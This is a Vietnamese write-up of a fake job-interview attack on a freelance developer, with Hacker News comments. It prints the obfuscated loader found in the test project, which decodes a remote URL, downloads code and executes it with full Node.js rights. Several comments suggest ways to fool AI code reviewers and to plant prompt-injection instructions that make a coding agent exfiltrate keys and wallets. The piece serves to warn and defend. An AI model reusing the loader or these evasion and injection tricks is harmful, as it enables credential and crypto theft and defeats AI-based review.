Câu chuyện tôi suýt bị hack chỉ vì một ‘buổi phỏng vấn xin việc’
(blog.daviddodda.com)- Một lập trình viên freelancer đã thoát nạn vào phút chót khi phát hiện ra mã độc ngụy trang thành bài kiểm tra code trong một buổi phỏng vấn tuyển dụng giả mạo được dàn dựng tinh vi chỉ 30 giây trước khi chạy nó
- Kẻ tấn công mạo danh CBO của một công ty blockchain có thật, dùng hồ sơ LinkedIn với hơn 1.000 kết nối cùng kho Bitbucket chuyên nghiệp để tạo dựng niềm tin
- Trong controller máy chủ của codebase React/Node được cung cấp có giấu mã độc làm rối bằng mảng byte, được thiết kế để đánh cắp mọi tài sản số như ví tiền mã hóa, tệp, mật khẩu khi chạy với quyền quản trị
- Ngay trước khi chạy code, lập trình viên đã nhờ Cursor kiểm tra đoạn mã đáng ngờ và phát hiện mã độc; URL phân phối mã độc này đã bị xóa đúng 24 giờ sau đó, cho thấy chúng còn có cả cơ chế xóa dấu vết
- Đây là một ví dụ điển hình của social engineering sử dụng các kỹ thuật thao túng tâm lý như tính khẩn cấp, quyền uy, sự quen thuộc và bằng chứng xã hội
- Bài viết cảnh báo nguy cơ thủ đoạn này có thể gây thiệt hại trên diện rộng, đồng thời rút ra bài học thực tiễn rằng các lập trình viên phải bắt buộc kiểm tra sandbox và xác minh danh tính/kho mã trước khi chạy mọi đoạn code từ bên ngoài
Khởi đầu của cuộc tấn công và cách tiếp cận
- Tác giả là một lập trình viên freelancer có 8 năm kinh nghiệm, vốn cẩn trọng với bảo mật đến mức gần như ám ảnh, nhưng lần này vẫn suýt bị lừa
- Anh nhận được tin nhắn LinkedIn từ một người tên Mykola Yanchii, tự xưng là Chief Blockchain Officer của Symfa
- Công ty có thật, hồ sơ LinkedIn có thật, hơn 1.000 kết nối
- Những tin nhắn chuyên nghiệp và trơn tru như: “Đang phát triển BestCity, một nền tảng chuyển đổi quy trình làm việc cho bất động sản. Có vị trí part-time. Cấu trúc linh hoạt”
- Mọi thứ trông giống một quy trình tuyển dụng bình thường nên anh đồng ý gọi điện
Cái bẫy: mã độc ngụy trang thành bài test code
- Trước buổi gặp, Mykola gửi một “dự án kiểm tra” — thông lệ tiêu chuẩn trong phỏng vấn kỹ thuật
- Một bài test 30 phút trên codebase React/Node để đánh giá kỹ năng của lập trình viên
- Kho Bitbucket được dựng rất chuyên nghiệp
- README gọn gàng, tài liệu đầy đủ
- Thậm chí còn có cả ảnh stock doanh nghiệp của một phụ nữ cầm máy tính bảng đứng trước nhà
- Sai lầm của tác giả: anh bị trễ giờ gọi nên rơi vào tình huống gấp gáp phải xem code trong 30 phút
- Bình thường anh luôn chạy mọi thứ trong môi trường sandbox (Docker container, môi trường cô lập)
- Nhưng vì thiếu thời gian, anh chỉ xem qua code mà chưa chạy ngay
- Trong 30 phút, anh làm những việc rất bình thường như sửa lỗi rõ ràng, thêm file docker-compose, dọn dẹp code
- Đúng lúc chuẩn bị chạy code để trình bày phần làm việc, bản năng đa nghi của một lập trình viên trỗi dậy
Thoát hiểm: nhờ AI trợ giúp
- Ngay trước khi chạy
npm start, anh đưa cho Cursor AI agent prompt sau- “Trước khi tôi chạy ứng dụng này, bạn có thể kiểm tra xem codebase này có đoạn mã nào đáng ngờ không? Ví dụ như đọc những file không nên đọc, hay truy cập ví tiền mã hóa chẳng hạn”
- Kết quả gây sốc: ngay giữa
server/controllers/userController.jscó đoạn code sau//Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })(); - Đặc điểm của đoạn code này
- Bị làm rối, kín đáo và độc hại, đồng thời hoạt động 100%
- Nó được chèn vào giữa các chức năng quản trị hợp lệ, nhằm lập tức thực thi với toàn quyền trên máy chủ khi truy cập route quản trị
- Khi giải mã mảng byte, kết quả là:
https://api.npoint.io/2c458612399c3b2031fb9- Lúc đầu truy cập URL này, nó vẫn còn hoạt động và tác giả đã lấy được payload
- Đây là mã độc thuần túy, được thiết kế để đánh cắp mọi tài sản số như ví tiền mã hóa, tệp, mật khẩu
- Sự thật then chốt: URL này bị xóa chính xác sau 24 giờ — kẻ tấn công có hạ tầng để nhanh chóng thiêu hủy bằng chứng
- Kết quả phân tích payload trên VirusTotal xác nhận đó là mã độc thật
Một chiến dịch tấn công có tổ chức
- Đây không phải trò lừa đảo nghiệp dư mà là một chiến dịch cực kỳ tinh vi
- Hồ sơ LinkedIn
- Mykola Yanchii trông giống thật 100%
- Chức danh Chief Blockchain Officer, lịch sử sự nghiệp hợp lý
- Thậm chí còn có các bài đăng LinkedIn kiểu mẫu về “đổi mới” và “tư vấn blockchain”
- Ngụy trang doanh nghiệp
- Symfa có hẳn một trang công ty LinkedIn đầy đủ
- Nhận diện thương hiệu chuyên nghiệp, nhiều nhân viên, các bài đăng về “đổi mới bất động sản bằng blockchain”
- Cả mạng lưới follower và các trang liên quan cũng được dựng lên
- Cách tiếp cận
- Không có dấu hiệu cảnh báo nào ở lần liên hệ đầu tiên
- Ngôn ngữ chuyên nghiệp, phạm vi dự án hợp lý
- Thậm chí còn dùng cả Calendly để sắp lịch
- Cách cài payload
- Mã độc được đặt chiến lược trong controller phía máy chủ
- Được thiết kế để chạy với toàn quyền Node.js khi truy cập tính năng quản trị
Các kỹ thuật thao túng tâm lý
- Những yếu tố khiến cuộc tấn công này trở nên nguy hiểm
- Tính khẩn cấp (Urgency)
- “Hãy hoàn thành bài test trước buổi gặp để tiết kiệm thời gian”
- Quyền uy (Authority)
- Hồ sơ LinkedIn đã xác minh, công ty có thật, cách thiết lập chuyên nghiệp
- Sự quen thuộc (Familiarity)
- Một bài coding test take-home tiêu chuẩn
- Định dạng mà mọi lập trình viên đã gặp hàng chục lần
- Bằng chứng xã hội (Social Proof)
- Trang công ty có thật với nhân viên thật và kết nối thật
- Ngay cả tác giả, dù vốn rất ám ảnh về bảo mật, cũng suýt bị mắc bẫy
Bài học rút ra
- Chỉ một prompt AI đơn giản đã cứu anh khỏi thảm họa
- Không phải công cụ bảo mật cao cấp, cũng không phải phần mềm antivirus đắt tiền
- Chỉ đơn giản là nhờ coding assistant tìm các pattern đáng ngờ trước khi chạy đoạn code không rõ nguồn gốc
- Điều đáng sợ là vector tấn công này hoàn hảo cho giới lập trình viên
- Lập trình viên tải và chạy code cả ngày
- Kho GitHub, package npm, coding challenge, v.v.
- Đa số không chạy mọi thứ trong sandbox
- Đây là mã độc phía máy chủ với toàn quyền Node.js
- Có thể truy cập environment variable, kết nối database, file system, ví tiền mã hóa và mọi thứ khác
Quy mô và mức độ ảnh hưởng của cuộc tấn công
- Nếu những chiến dịch tinh vi như thế này đang nhắm vào lập trình viên trên diện rộng, thì đã có bao nhiêu người bị lây nhiễm rồi?
- Hiện tại chúng đã xâm nhập vào bao nhiêu hệ thống production?
- Nhắm mục tiêu hoàn hảo
- Lập trình viên là nạn nhân lý tưởng
- Máy tính của họ chứa chìa khóa của cả vương quốc: thông tin xác thực production, ví tiền mã hóa, dữ liệu khách hàng
- Ngụy trang chuyên nghiệp
- Tính hợp pháp trên LinkedIn, codebase chân thực, quy trình phỏng vấn tiêu chuẩn
- Độ tinh vi về kỹ thuật
- Làm rối nhiều lớp, phân phối payload từ xa, dead man’s switch, thực thi phía máy chủ
- Chỉ cần một lần lây nhiễm thành công cũng có thể đe dọa
- Xâm phạm hệ thống production của các công ty lớn
- Lượng nắm giữ tiền mã hóa trị giá hàng triệu USD
- Dữ liệu cá nhân của hàng nghìn người dùng
Kết luận và cách ứng phó
Nếu bạn là lập trình viên và nhận được cơ hội việc làm qua LinkedIn:
- 1. Luôn chạy code không rõ nguồn gốc trong sandbox
- Dùng Docker container, VM hay bất cứ gì cũng được
- Tuyệt đối đừng chạy trực tiếp trên máy chính
- 2. Dùng AI để quét các pattern đáng ngờ
- Chỉ mất 30 giây
- Có thể cứu toàn bộ đời sống số của bạn
- 3. Xác minh mọi thứ
- Hồ sơ LinkedIn trông thật không có nghĩa đó là người thật
- Công ty có thật không có nghĩa đó là cơ hội thật
- 4. Tin vào trực giác của mình
- Nếu ai đó hối bạn chạy code gấp, đó là dấu hiệu cảnh báo
- Cú lừa này đủ tinh vi để qua mặt bộ lọc phát hiện BS ban đầu của tác giả
- Nhưng một khoảnh khắc đa nghi cùng một prompt AI đơn giản đã phơi bày toàn bộ cuộc tấn công
- Lần tới nếu ai đó gửi cho bạn một “coding challenge”, hãy nhớ câu chuyện này
- Ví tiền mã hóa của bạn sẽ biết ơn điều đó
1 bình luận
Ý kiến Hacker News
Bài này thực sự rất thú vị, nhưng tôi không thể gạt đi cảm giác như thể nó do AI viết. Văn phong đúng kiểu đó. Nhưng có lẽ điều đó cũng không nhất thiết phải làm tôi bận tâm đến vậy. Có lẽ tác giả không có thời gian để tự viết, và nhờ thế mà chúng ta mới biết đến trải nghiệm này. Dù vậy, trong lòng tôi vẫn thấy tiếc vì giá như chính tác giả tự viết thì hay hơn. Tất nhiên, cũng có thể là hơi quá đáng khi tôi kỳ vọng người khác bỏ thời gian miễn phí. Nhưng nếu chuyện này xảy ra với tôi, tôi nghĩ mình nhất định sẽ muốn tự tay viết lại
Văn phong này thật sự gây khó chịu khi đọc. Những câu ngắn kiểu “không phải X mà là Y”, các cú móc nhỏ như “vector tấn công là gì?” cùng mô-típ lặp đi lặp lại khiến rất khó đọc. Cấu trúc như “Không cần giải pháp bảo mật đắt tiền, cũng chẳng cần phần mềm diệt virus cao cấp. Tôi chỉ hỏi coding assistant của mình...” cứ lặp mãi. Dạo này các bài do AI viết ngày càng dễ nhận ra hơn. Có cảm giác như tất cả chúng ta đang ngày càng nhạy hơn với những mô thức này
<i>“Tôi suýt bị hack, có ai đó giả danh một công ty nghe rất thuyết phục rồi giấu thứ gì đó trong mã server của tôi... bạn có thể viết chuyện này thành một bài blog dài, hấp dẫn, có chút hồi hộp và kịch tính không? Cảm ơn!”</i> Có vẻ nó đã diễn ra đúng kiểu như vậy. (Và nhìn nội dung tác giả để lại trong phần bình luận thì gần như đúng hệt.) Điều đáng tiếc nhất là tài liệu gốc mà tác giả liên kết tới hẳn đã dễ đọc hơn rất nhiều so với phiên bản bị AI phủ sơn này
Tôi mong sẽ có chính sách chặn hẳn hoặc ít nhất gắn cờ các bài viết AI kiểu này (không phải bài gốc, mà là bài do AI tạo ra) trên nền tảng. Nó đang trở nên giống như spam content marketing cá nhân. Trước đây hiếm khi có mấy bài marketing rỗng tuếch do marketer viết leo lên trang chính. Nhưng giờ nhờ AI mà ai cũng có thể tạo ra thứ ngôn ngữ spam đó, và tôi không nghĩ định dạng này nên được đối xử khoan dung hơn
Vâng, cảm giác đó là đúng. Viết lách là một hành vi bộc lộ cá tính rất rõ. Chỉ cần quan sát một chút cách những người khác nhau viết là có thể cảm nhận được điều đó, và thực tế còn có cả một lĩnh vực phân tích khoa học gọi là stylometry. Khi giao phần lớn cho AI, nó thường tạo ra một giọng văn “rất AI”. Đó là vì quá trình học tăng cường điều chỉnh nó theo một số kiểu thể hiện nhất định. Không phải AI bắt buộc chỉ viết được những câu đơn điệu như vậy, nhưng nó thường bị tinh chỉnh theo hướng câu chữ trung tính, nhạt nhẽo, đầy các cú móc sáo rỗng. Dùng AI để sửa ngữ pháp hay gọt giũa câu chữ thì hoàn toàn ổn, nhưng cuối cùng nó vẫn phải mang cảm giác là ‘bài của mình’. Thành thật mà nói, ngay cả khi tiếng Anh không quá xuất sắc, tôi vẫn nghĩ hoàn toàn có thể viết một bài blog tốt. Vì thế tôi thấy hơi tiếc khi mọi người dựa vào AI. Tất nhiên, viết lách rất tốn thời gian. Chính tôi cũng chẳng có mấy bài trên blog của mình. Nhưng nó vẫn đáng để đầu tư. p.s. Thực ra chắc cũng có không ít người bị hiểu nhầm là viết bằng AI. Thật sự có những người vô tình viết theo kiểu khá giống AI. Điều đó có thể gây khó chịu, nhưng cốt lõi không hẳn là chuyện “đã dùng AI”, mà là phong cách viết đó không tạo được kết nối. Nếu đó là sản phẩm do máy tạo ra mà lại không có bất kỳ ghi chú hay giải thích nào, cảm giác thất vọng càng lớn hơn. Có thể nghe như lời chê nặng, nhưng không phải công kích cá nhân. Đôi khi cần phải rất thẳng thắn. (Dù tôi cũng không nghĩ riêng bài này tệ đến mức đó, chỉ là có chút sáo mòn)
Đúng là như vậy. Trong một bình luận của tôi có bản nháp và prompt. Hiện tại công ty tôi đang ra mắt sản phẩm mới nên tôi gần như không có thời gian để viết. Vì sự phức tạp của ‘cuộc sống’, tôi chỉ có thể dành ra rất ít thời gian. Cảm ơn vì đã thông cảm
Tôi phát hiện một tài khoản bí danh tên là "Mykola Yanchii" trên LinkedIn, và nó trông hoàn toàn không thật. Nếu bấm vào "Xem thêm" → "Thông tin hồ sơ" thì chỗ nào cũng thấy đáng ngờ. Ví dụ, ngày tham gia là tháng 5/2025, trong vòng chưa đầy 6 tháng cả thông tin liên hệ lẫn ảnh đại diện đều đã được cập nhật. Tài khoản này có huy hiệu xác minh LinkedIn, và ghi là được xác minh bằng Persona. Điều đó lại khiến tôi nghi ngờ liệu chính dịch vụ Persona có lỗ hổng nghiêm trọng hay vấn đề bảo mật nào đó, đến mức tội phạm mạng đang lợi dụng niềm tin vào huy hiệu xác minh để lừa đảo hay không. Kết luận là, nếu một hồ sơ có lịch sử dưới 1 năm nhưng lại tuyên bố kinh nghiệm quá xa về trước, lại còn có xác minh Persona, thì tôi khuyên tuyệt đối đừng tin. https://www.linkedin.com/in/mykola-yanchii-430883368/overlay/about-this-profile/
Nhân tiện, nếu bạn bấm vào hồ sơ LinkedIn khi đang đăng nhập thì sẽ để lại dấu vết truy cập, và đối phương có thể lần ra bạn là ai. Vì thế bạn cũng có thể trở thành mục tiêu. Và tôi thắc mắc vì sao cái tên “Mykola Yanchii” lại bị xem là giả. Đây là cách viết bằng tiếng Anh của một tên Ukraina: Николай Янчий. Thực tế có người mang đúng tên đó https://life.ru/p/1490942
Nếu tôi vốn chưa có mặt trên LinkedIn thì làm sao tôi có thể trở thành một người đáng tin?
Những kẻ lừa đảo kiểu này có thể tiếp cận bằng nhiều cách, nhưng cuối cùng thường quy về một bước kỹ thuật trong buổi phỏng vấn kiểu “hãy chạy đoạn mã từ một kho lưu trữ không rõ nguồn gốc”. Giờ tôi gần như luôn kiểm tra ngày tạo của mọi hồ sơ LinkedIn. Nếu mới vài năm trở lại đây thì tôi lập tức cảnh giác
Có vẻ Persona chỉ dùng NFC của căn cước/hộ chiếu quốc gia. Vì vậy chỉ cần có giấy tờ bị đánh cắp là vẫn có thể xác minh được
Cái “huy hiệu xác minh LinkedIn” ấy thì tôi cũng chưa từng làm thành công lần nào. Điện thoại của tôi lúc nào cũng bị treo ở bước xác minh
Sẽ thế nào nếu đoạn mã là kiểu này?
(Ý tôi là, thay vì những chú thích kiểu “//lấy cookie”, có lẽ chúng sẽ dùng dạng này hơn) Tôi cũng đã thử những mẹo kiểu này cho tiện:
Các mô hình AI lớn dường như có chút lưỡng lự khi thấy đoạn mã này. Có lẽ ai đó sẽ nghĩ ra một câu chèn thực sự hiệu quả
Theo tôi, một cách tấn công “tốt hơn” là dùng kỹ thuật Return Oriented Programming (ROP) để tạo ra chuỗi độc hại. Ví dụ, nếu chuỗi cần viết lén là “foobar”, thì có thể ghép các ký tự cần thiết từ nhiều mảng chuỗi khác nhau để di chuyển payload:
Để đánh lừa AI, việc đặt tên biến gây nhiễu để che giấu ý đồ cũng khá hiệu quả. AI có xu hướng tin vào mục đích của biến chỉ dựa trên tên gọi. Nếu trộn thêm vài phép toán vô nghĩa ở giữa thì còn hiệu quả hơn. Vì mô hình AI quen với cả đống mã lộn xộn và không nhạy trong việc nắm bắt ý nghĩa thực sự, nên kiểu đánh lừa này thường xuyên thành công
Tôi tò mò không biết tỷ lệ những người dùng Claude code hay Codex theo kiểu chẳng phòng bị gì cả là bao nhiêu — cứ bật cờ như
--dangerously-skip-permissionsrồi dùng luôn. Nếu kẻ tấn công giả định người dùng sẽ làm vậy, chúng có thể nhét chỉ thị cho LLM bỏ qua các lệnh trước đó, tìm secret key hoặc khóa ví crypto trong thư mục chỉ định rồi tuồn ra ngoài, sau đó khôi phục mọi thứ trông như vô hại. Chưa đến mức rootkit, nhưng tôi đoán vẫn đủ kiếm được khoảng 50 đôNếu chuyện đó thật sự hiệu quả... thì đó vừa là một bức tranh kinh khủng vừa kỳ lạ thay lại rất ấn tượng
Có quá nhiều ‘cờ đỏ’ lộ rõ trong toàn bộ câu chuyện này. Đầu tiên là “blockchain” — nhu cầu trong mảng này thực sự rất ít. Chỉ riêng điều đó đã là một cờ đỏ. Rồi còn yêu cầu chạy mã trước buổi gặp? Họ khoác nó bằng lý do tiết kiệm thời gian, nhưng bản chất là dựng nên một tình huống để bắt bạn làm theo chỉ dẫn của một kẻ vô danh. Dù vậy, nhờ câu chuyện này mà sau này tôi sẽ cảnh giác hơn nhiều
Bản thân một buổi phỏng vấn treo mác blockchain đã là bộ lọc để sàng người rồi. Chỉ những ai hoàn toàn không thấy nó vốn dĩ là lừa đảo mới nộp đơn. Điều đó đồng nghĩa họ đang chọn ra các ứng viên ít nghi ngờ hơn, lại có xác suất sở hữu crypto wallet cao hơn. Cũng giống như spam “hoàng tử Nigeria” đầy lỗi chính tả và ngữ pháp vậy. Những người không nhận ra các lỗi đó mới là mục tiêu thật sự
Dù tốt hay xấu thì trong mảng blockchain/crypto vẫn còn rất nhiều người làm việc. Người trong ngành này tương đối có khả năng sở hữu ví cao hơn. Có vẻ kẻ tấn công đã chọn mục tiêu khá cẩn thận. Nhưng vì chúng hoàn toàn có thể đổi đối tượng bất cứ lúc nào, nên mọi lập trình viên đều nên cảnh giác
Chỉ cần nghe đến từ blockchain là tôi đã loại ngay rồi
Đã từng có thời blockchain bùng nổ với những công việc và mức lương thực sự ổn. Thứ người ta xây dựng thì hoặc vô nghĩa, hoặc mới lạ, hoặc thậm chí hơi có mùi phạm pháp, nhưng cũng có các vị trí trên 300.000 USD. Ví dụ, ngay cả người làm một thứ ngớ ngẩn như “trình mô phỏng nuôi rồng thú cưng sưu tầm” cũng có VC rót vốn và trả lương thật. Tất nhiên, cứ mỗi sáu tháng bạn lại phải cập nhật chỗ làm mới, và có lẽ công việc đó đang khiến thế giới tệ hơn, nhưng việc làm vẫn là việc làm
Nếu một “công ty blockchain hợp pháp” yêu cầu tôi chạy đoạn mã vô danh nào đó trên PC của mình thì tôi sẽ dừng ngay tại đó. Mọi chuông cảnh báo đều réo lên. Dạo này tôi nhận ra mình ngày càng hay bình luận về sự ngây thơ của độc giả HN
Tôi từng thấy một buổi internview nhẹ trên kênh Discord của LLamaIndex. Đó là cuộc trò chuyện trước khi kết nối với lập trình viên thật. Kẻ lừa đảo cũng tiếp cận theo kiểu tương tự, nhưng không có lý do chính đáng nào để tôi phải cho họ truy cập gói hay mã đó. Tôi chỉ đang chia sẻ màn hình remote desktop để họ xem mã của tôi, và thực tế họ chỉ nhìn khoảng 100 dòng trong tổng số 100.000 dòng. Đến một lúc nào đó lớp ngụy trang của kẻ lừa đảo bị lộ, và từ đó chúng bắt đầu đe dọa sẽ công khai một phần mã của tôi vì đó là “bí mật”. Nhưng tôi chỉ cười. Chúng còn nói có thể khôi phục mã của tôi chỉ từ video stream màn hình, và tôi càng cười to hơn. Tôi cứ để cho kẻ lừa đảo tự mệt. Chúng thậm chí còn mời tôi gia nhập tổ chức tội phạm của chúng. Cuối cùng tôi hỏi câu mà tôi luôn hỏi bọn lừa đảo: “Tại sao các anh không làm một công việc bình thường mà lại chọn đi lừa đảo?” Xét về việc sắp lịch, phân người, chúng thực sự làm vai trò ‘project manager’ khá tốt. Nếu bỏ yếu tố lừa đảo ra, năng lực vận hành thực tế của chúng không hề tệ
Chỉ riêng câu “cách mạng hóa bất động sản bằng blockchain” cũng đã đủ bật đèn cảnh báo rồi
Giờ có khi chỉ cần pitch kiểu “cách mạng hóa bất động sản bằng AI” là dễ dàng gọi được 10 triệu USD đầu tư. Thời nay đâu còn cần cá cược bằng đồng xu nữa
Thực tế có hàng chục công ty đang tìm cách token hóa tài sản bất động sản và còn gọi được vốn thật. Tôi không biết đó có phải ý tưởng hay không, nhưng rõ ràng có những người đang làm ở các công ty đó và kiếm tiền thật
Chỉ cần nghe “cách mạng hóa bất động sản bằng blockchain” là tôi đã không đi tiếp bước sau
Với các công ty “blockchain” kiểu này, giả định mặc định rằng đó là lừa đảo có lẽ là đúng. Không phải tôi muốn đổ lỗi cho nạn nhân. Nhưng ai còn không biết thực tế này thì chẳng khác nào đã sống trong hang vài năm qua
Nếu người này chạy mã độc rồi còn chuyển luôn quyền sở hữu căn nhà của mình đi nữa thì chỉ nghĩ thôi cũng đã thấy buồn cười
Có người nhắm vào các lập trình viên junior trong thread ‘Who Wants to Be Hired’ rồi liên hệ với tôi. Họ khơi gợi sự quan tâm bằng cách nói là thích dự án của tôi, sau đó cố cài malware lên máy tôi dưới danh nghĩa phỏng vấn
Những lúc thế này tôi lại nghĩ có lẽ nên đưa vào quy trình phỏng vấn một bước loại thẳng những ai “sẵn sàng tải ngay lập tức”. Tôi không muốn tuyển nhân viên sẽ cài bừa mọi thứ mà không chút nghi ngờ
Ngay cả trong các bài đăng tuyển kiểu ‘Who is hiring?’ cũng có những thứ đáng ngờ
Cần nêu đích danh và cảnh báo thì mới ngăn được nạn nhân khác
Xét việc ngay cả trên HN đôi khi người ta cũng từng biết mà vẫn che giấu các hacker bị truy nã, thì chuyện này cũng không quá bất ngờ
Tôi từng gặp trải nghiệm gần như y hệt https://kaveh.page/blog/job-interview-scam. Nếu ai đó bảo tôi chạy mã trên máy mình thì tôi tuyệt đối không chấp nhận, trừ khi nó đến từ một kênh mà tôi đã xác minh và tin cậy từ trước. Nếu buộc phải chạy mã của người khác thì tôi luôn dùng VM (máy ảo)
Trong những tình huống như thế này, tôi dùng Little Snitch như công cụ mặc định và luôn để ở chế độ cảnh báo hoặc chặn. Dù chương trình nói là không cần Internet, vẫn đáng kinh ngạc khi có quá nhiều ứng dụng thực tế cứ liên tục cố kết nối ra ngoài. Ví dụ, plugin Cline của vscode có tùy chọn tắt telemetry từ xa, nhưng ngay cả khi dùng ollama cục bộ thì nó vẫn cố giao tiếp với server ở mỗi prompt
Người ta nói sandbox zero config dựa trên container Linux là sandbox-venv của Python https://github.com/sandbox-utils/sandbox-venv và sandbox-run của npm https://github.com/sandbox-utils/sandbox-run
Tôi cũng thấy Littlesnitch hay OpenSnitch rất hữu ích trong những tình huống như vậy. Tuy nhiên nên tránh các quy tắc cho phép toàn cục theo kiểu all-app. Malware từng có trường hợp dùng cả các trang được tin cậy như Github Gists để tuồn dữ liệu nhạy cảm ra ngoài. Dù firewall có bảo vệ được hệ thống đi nữa, một khi đã bị xâm nhập thì bản thân hệ thống đó vẫn phải bị xem là đã nhiễm bẩn hoàn toàn mà xử lý
Tôi vẫn thường thấy lạ khi mọi người than phiền việc hệ thống build automation cần truy cập Internet, nhưng thật ra đó là một lý do hoàn toàn chính đáng
Dùng Malwarebytes WFC khiến tôi yên tâm hơn nhiều
Bài học thực sự quan trọng là mạng xã hội (bao gồm cả LinkedIn) không thể thay thế quy trình thẩm định danh tính vốn có. Đăng ký tại phòng thương mại, hồ sơ thuế (đối với công ty đại chúng), đối tác kinh doanh đã được xác minh, các dự án thực sự đã hoàn thành — những “thành tích” như vậy mới quan trọng. Đến năm 2025, “huy hiệu xác minh” không còn là bằng chứng của sự đáng tin nữa; thứ thật sự có giá trị là track record